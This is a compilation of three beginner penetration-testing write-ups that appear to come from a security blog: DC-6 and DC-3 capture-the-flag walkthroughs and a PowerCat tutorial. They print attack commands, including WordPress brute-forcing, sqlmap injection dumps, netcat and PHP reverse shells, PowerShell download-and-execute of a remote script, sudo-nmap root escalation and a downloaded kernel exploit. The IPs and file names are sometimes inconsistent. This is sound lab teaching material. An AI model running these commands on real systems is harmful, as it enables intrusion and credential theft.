DC6-Lab Walkthrough


DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. This isn't an overly difficult challenge so should be great for beginners. The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Download it from here - http://www.five86.com/dc-6.html
Table of Content
1.      Scanning
§  Netdiscover
§  NMAP
2.      Enumeration
§  WPSCAN
3.      Exploiting
§  Searchsploit

4.      Privilege Escalation
§  sudo rights
5.      Capture the Flag


Walkthrough
Here the author has left a clue which will be helful in this CTF.
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
That should save you a few years. ;-)

Scanning
Now, start the CTF challenge by scanning the network and identifying host IPs. As illustrated below, we can identify our host IP 192.168.1.103.


Then, it’s time to run nmap following command to identify open ports and running services.
nmap -A 192.168.1.103
Like As ever, this time also we got port 22 and 80 is open for SSH and HTTP services, moreover all HTTP services are made to redirected on domain i.e. http://wordy
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt


Therefore, we thought of adding the Domain Name into our Host file, so that we will be able to access http services.


Enumeration
Since port 80 is open, we explored the Domain Name on the browser. We discovered the webpage got a WordPress CMS installed on it.


Since I didn’t find any remarkable clue on the website, therefore, next idea that came to us was to run a wpscan on the webpage and see what the scan enumerates for us.


Hmmm!! Not bad, here I got usernames as shown in the below image.


Moreover, in a text file named users, I saved all usernames that I had found from WPScan. If you remember the CLUE I discussed at the beginning of the post, generating a password dictionary would be helpful.


wpscan --url http://wordy/ -U users -P password
We have successfully found the password for mark; Let’s make good use of them.
mark:helpdesk01


Exploiting
After login into wordpress, I notice a plugin “Active-monitor” is installed in the dashboard.


So, quickly I checked for its exploit inside searchsploit and surprisingly I found this plugin is vulnerable to reflected XSS and CSRF attack, moreover this vulnerability cloud lead to remote code execution. You will get its exploit from searchsploit which is an html form to exploit CSRF attack.


From searchsploit I found 45274.html file to exploit CRSF attack, but before executing it we need to make to some Cosmo changes as shown below and launch netcat listener.


Now, execute the shell.html file to get reverse connection.


OKAY!! We got reverse connection at netcat, where I need to run python command to spawn proper shell. While traversing I found a bash “backup.sh” and tar “backups.tar.gz” and moreover I found a text file “things-to-do” from inside /home/mark/stuff which stored credential for another user “graham” as shown below.
graham : GSo7isUM1D4


Privilege Escalation
As we knew port 22 is open for ssh and here I try to connect with ssh using graham : GSo7isUM1D4 and luckily I got ssh access as shown below. Since this is boot to root challenge where I need to escalate privilege for root access.
ssh graham@192.168.1.103
Therefore, I check for sudo rights, where I found Graham can execute backup.sh as jens without password.
sudo -l



After reading this bash script, I decided to edit this file by adding /bin/bash as shown below.


Then with the sudo right I executed following command successfully login as jeans.
sudo -u jens /home/jens/backups.sh
Now when we have access of jens shell and further I check sudo rights for jeans. As per suoders file permission, jens can run nmap as root. To escalate root privilege, I generate a nmap script to access bin/sh shell called root.nse and then use nmap command to run the script with sudo.
echo "os.execute('/bin/sh')">/tmp/root.nse
sudo nmap --script=/tmp/root.nse

WELL DONE! We have found the final flag and complete the challenges.

PowerCat -A PowerShell Netcat


The word PowerCat named from Powershell Netcat which is a new version of netcat in the form of  powershell script. In this article we will learn about powercat which a PowerShell tool for is exploiting windows machines.
Table of content
·        Requirement & Installations
·        Testing PowerShell Communication
·        Bind Shell
·        Execute Shell
·        Tunneling or port forwarding
Introduction & Requirements
PC-1       192.168.1.16
PC-2       192.168.1.19
Powercat PowerShell Script
Powercat brings the usefulness and intensity of Netcat to every ongoing form of Microsoft Windows. It achieves this objective by utilizing local PowerShell form 2 segments. This permits simple organization, use, and minimal possibility of being gotten by customary antivirus arrangements. Furthermore, the most recent adaptations of Powercat incorporate propelled usefulness that goes well past those found in customary types of Netcat.
By default, we cannot run PowerShell scripts in windows. To run PowerShell scripts, we have to first change the execution policy of PowerShell. First, we run PowerShell as an administrator then we run the following command to change the execution policy: -
Set-ExecutionPolicy Unrestricted


Now we download powercat in the system. We can either download the powercat script and import it manually or use Invoke-Expression to download the powercat script and import it automatically. In our case, we are using Invoke-Expression to download the powercat script.
IEX (New-Object System.Net.webclient).DownloadString(‘https://raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1’)


Testing PowerShell Communication
Now we are going to test the working of powercat, first we setup our listener in PC-1.
powercat -l -p 9000 -v
-l is for listen mode
-p is for port number
-v is for verbose mode


Now in PC-2 we use powercat to connect to PC-1 on port 9000 and send a message through powercat.
powercat -c 192.168.1.19 -p 9000 -v


Now we switch to PC-1, and we find that we have recieved the message from PC-2.

Transafer File

We can also transfer file using powercat, in PC-1 we setup the listener to accept the file from remote machine inside the particular path and such as save the files as “file.txt” and therefore run the following command to initiate file transferring via port 9000.
powercat -l -p 9000 -of C:\file.txt -v
-of is for output file


Now we can use powercat to transfer the file from PC-2 to PC-1. Here we select a file called “1.txt” in PC-2 that will be transfered to PC-1.
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
-i is for input file


Now in PC-1, we find that we have received the file from PC-2 inside C drive.

Bind Shell                                                

In PC-1 we start our listener and execute cmd, creating a bind shell so that we can access the terminal of remote machine, therefore execute below command.
powercat -l -p 9000 -e cmd -v


We can connect to PC-1 from PC-2 using powercat and get a shell of PC-1 .
powercat -c 192.168.1.16 -p 9000 -v
whoami

Execute Powershell

We can use powercat to execute powershell instead of cmd to create a bind or reverse shell. In this case we are going create a powershell bind shell using powercat in PC-1.
powercat -l -p 9000 -ep -v


Now we connect PC-2 to PC-1 using powercat and obtain a Powershell of pc-1.
powercat -c 192.168.1.19 -p 9000 -v

Tunneling or Port Forwarding

For this practical, we need 3 machines
PC-1
192.168.1.16
PC-2
192.168.1.19
PC-3
10.0.0.10

We can also use powercat for tunneling. In our case we have the following systems:
We get a session of PC-2 from PC-1 using PSSession.
Enter-PSSession –ComputerName csuser-pc –Credential csuser


After giving the username and password for the target machine, we get access of PC-2 where we found another network interface of Class A IP network.


On the target machine we download powercat using Invoke-Expression.
IEX (New-Object System.Net.webclient).DownloadString(‘https://raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1’)
Now we check for common running services on the gateway and find that port 22 is open.
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}


Now we use powercat for port forwarding, so that we can use PC-1 to connect with PC-3.
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v


We now connect to PC-3 using putty.


As seen from the image below we are able to connect to the Ubuntu Machine (PC-3) from Attacker’s machine(PC-1)

DC-3 Walkthrough


Hello friends! Today we are going to take another boot2root challenge known as “DC-3”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from here.
Security Level: Beginner

Penetrating Methodology:
·         Discovering Targets IP
·         Network scanning (Nmap)
·          Surfing HTTP service port
·         Searching exploits via searchsploit
·         Using SQLMAP to dump databases information
·         Using John the Ripper to Crack the Password
·         Login into JOOMLA
·         Inject malicious PHP Reverse Shell Code
·         Using Netcat for obtaining reverse connection
·         Exploit the kernel
·         Getting root access
·         Reading Final flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover


We found our Targets IP Address 192.168.1.104; Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.101
From nmap result we found only HTTP service is running on port 80 and we got to know that JOOMLA CMS is installed on this website.



So, we navigate to port 80 by exploring target IP in the web browser and read the text message of the admin, moreover the website was running on joomla CMS as found above.



So to identify installed joomla version, we checked its Readme file. We can clearly come to know about the version of Joomla 3.7, I think this is might come in handy.




We looked for Joomla 3.7 in searchsploit and found JOOMLA SQL INJECTION exploit. We copied the exploits 42033.txt file on our machine and read it contents. It revealed a Command for Sqlmap along with a vulnerable URL.


Then we executed given below sqlmap command and with the help of it we look for the Database names that revealed database 5 entries as shown in the image given below where I notice joomladb.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Let’s again use Sqlmap to look for the tables and column.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
After getting the table names, we have dumped the contents of table #_users using sqlmap, which revealed credentials which that come in handy to log into JOOMLA. But the password is encoded, we need to crack it. Time to fire up John up.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch


We have saved the hash in our system and use john the ripper to crack the hash. Now we have both the credentials to log into Joomla.
Username- admin
Password- snoopy



Let’s login into joomla as admin.


After spending some time exploring, we got an idea to add a malicious PHP code (available inside kali: /usr/share/webshells/php) in index.php of beez3 template for getting reverse shell as shown below.



On the other side, we setup a netcat listener. Upon Execution, we got the shell of the target system. To get a proper shell, we have used the python one-liner to spawn the TTY shell.
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a

From the LSB description, we clearly knew for this version of Ubuntu has a direct exploit which can be used to get the root access and found our final flag.


Without wasting time, we found a privilege escalation exploit for ubuntu 16.04. We have downloaded it and extracted it.
cd /tmp
wget https://www.exploit-db.com/exploits/39772
unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar


After running the exploit, we have easily got the root access and thus got our Final flag.
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt